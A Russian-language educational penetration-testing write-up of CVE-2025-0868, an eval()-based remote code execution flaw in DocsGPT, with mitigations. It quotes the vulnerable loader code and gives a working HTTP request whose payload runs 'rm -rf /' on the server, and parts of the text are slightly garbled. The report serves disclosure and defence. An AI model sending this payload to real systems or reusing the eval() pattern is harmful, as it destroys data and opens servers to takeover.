
Образовательный отчет по тестированию на проникновение, демонстрирующий эксплуатацию CVE-2025-0868 — критической уязвимости удаленного выполнения кода (RCE) в DocsGPT через небезопасный eval() при разборе JSON, с мерами по смягчению последствий.
Критическая уязвимость удаленного выполнения кода (RCE) (CVE-2025-0868) была раскрыта 20 февраля 2025 года в библиотеке DocsGPT с открытым исходным кодом, вызванная небезопасным использованием eval() при разборе JSON-полезных нагрузок.
Ключевые детали:
Эта уязвимость позволяет злоумышленникам выполнять произвольный код Python через конечную точку /api/remote. DocsGPT — это инструмент с открытым исходным кодом на основе генеративного ИИ, который позволяет запрашивать проектную документацию с использованием моделей GPT.
Вектор: AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H
Базовый балл: 9.3 (КРИТИЧЕСКАЯ)
Метрики эксплуатации:
Метрики воздействия:
Уязвимость существует в reddit_loader.py, где пользовательский ввод обрабатывается с помощью небезопасной функции eval():
def load_data(self, inputs):
data = eval(inputs) # Vulnerable code
client_id = data.get("client_id")
client_secret = data.get("client_secret")
user_agent = data.get("user_agent")
Это позволяет злоумышленнику выполнить вредоносный код Python внутри JSON-полей: POST /api/remote HTTP/1.1 Content-Type: application/json
{"data": "import('os').system('rm -rf /')"}
Для эксплуатации этой уязвимости мы воссоздали уязвимое окружение и безопасное рабочее пространство, используя:
Мы разработали скрипт на Python, который выполняет удаленное выполнение кода (RCE), отправляя вредоносную полезную нагрузку на конечную точку /api/remote, используя небезопасное применение eval().
/api/remote./api/remote.POST /api/remote HTTP/1.1
Content-Type: application/json
{"data": "__import__('os').system('rm -rf /')"}
Обновите до DocsGPT v0.12.1 и последующих версий
Замените eval() на json.loads().
Link:https://github.com/arc53/DocsGPT/blob/df9d432d29c1bbdf28abb3d35d129060b1964dd3/applicatio n/parser/remote/reddit_loader.py#L9
| Категория | Подробности |
|---|
| CVE ID | CVE-2025-0868 |
| Затронутое ПО | DocsGPT v0.8.1 – v0.12.0 |
| Тип уязвимости | Удаленное выполнение кода (RCE) |
| Вектор атаки | Сетевой (HTTP-запрос к /api/remote) |
| Коренная причина | Небезопасное использование eval() для непроверенного JSON-ввода |
| Воздействие | Полный компрометация сервера (выполнение произвольных команд) |
| CWE-отображение | CWE-77: Некорректная нейтрализация специальных элементов, используемых в команде |